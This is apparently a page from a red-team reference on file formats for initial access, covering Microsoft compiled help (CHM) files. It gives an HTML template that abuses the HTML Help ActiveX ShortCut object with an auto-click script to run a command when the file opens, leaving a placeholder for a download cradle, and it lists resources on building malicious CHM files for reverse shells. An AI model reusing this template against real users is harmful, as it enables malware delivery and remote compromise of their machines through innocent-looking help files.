⭕CHM / HHC

These are Microsoft's online help format, these consist of HTML pages, indexes and other navigation tools. These files are then compressed in a file format called .CHM, also known as compiled CHM. Numerous amount of CHM file programs exist, for example, you could use Microsoft's HTML Help Workshop.

example:

<!DOCTYPE html><html><head><title>Click Me</title><head></head><body>
This is a demo ! <br>
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value='CRADLE HERE'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>

Create CHM For Reverse Shell (NISHANG)Cyber Security Architect | Red/Blue Teaming | Exploit/Malware Analysis

Creating a malicious CHM file.Neyo

Malicious CHM

Execute with .CHM file. | Abysssec Security Research

STC & CHM

sct & chm exploitPuckieStyle

PreviousIQY NextSCR

Last updated 2 years ago